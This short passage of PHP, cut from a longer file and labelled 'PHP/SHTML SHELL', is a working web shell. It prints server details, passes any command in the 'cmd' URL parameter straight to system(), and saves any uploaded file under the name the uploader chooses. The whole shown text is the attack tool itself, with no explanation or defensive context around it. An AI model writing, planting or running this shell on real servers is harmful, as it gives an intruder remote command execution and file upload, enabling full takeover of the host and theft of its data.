";
echo "=== PHP/SHTML SHELL ===\n";
echo "Server: " . $_SERVER['SERVER_SOFTWARE'] . "\n";
echo "PHP: " . (function_exists('phpinfo') ? "ACTIVE" : "INACTIVE") . "\n";

// Simple command execution
if(isset($_GET['cmd'])) {
    echo "Command: " . htmlspecialchars($_GET['cmd']) . "\n";
    echo "Output:\n";
    system($_GET['cmd']);
}

// File upload
if(isset($_FILES['f'])) {
    $name = $_FILES['f']['name'];
    move_uploaded_file($_FILES['f']['tmp_name'], $name);
    echo "File uploaded: $name\n";
}
echo "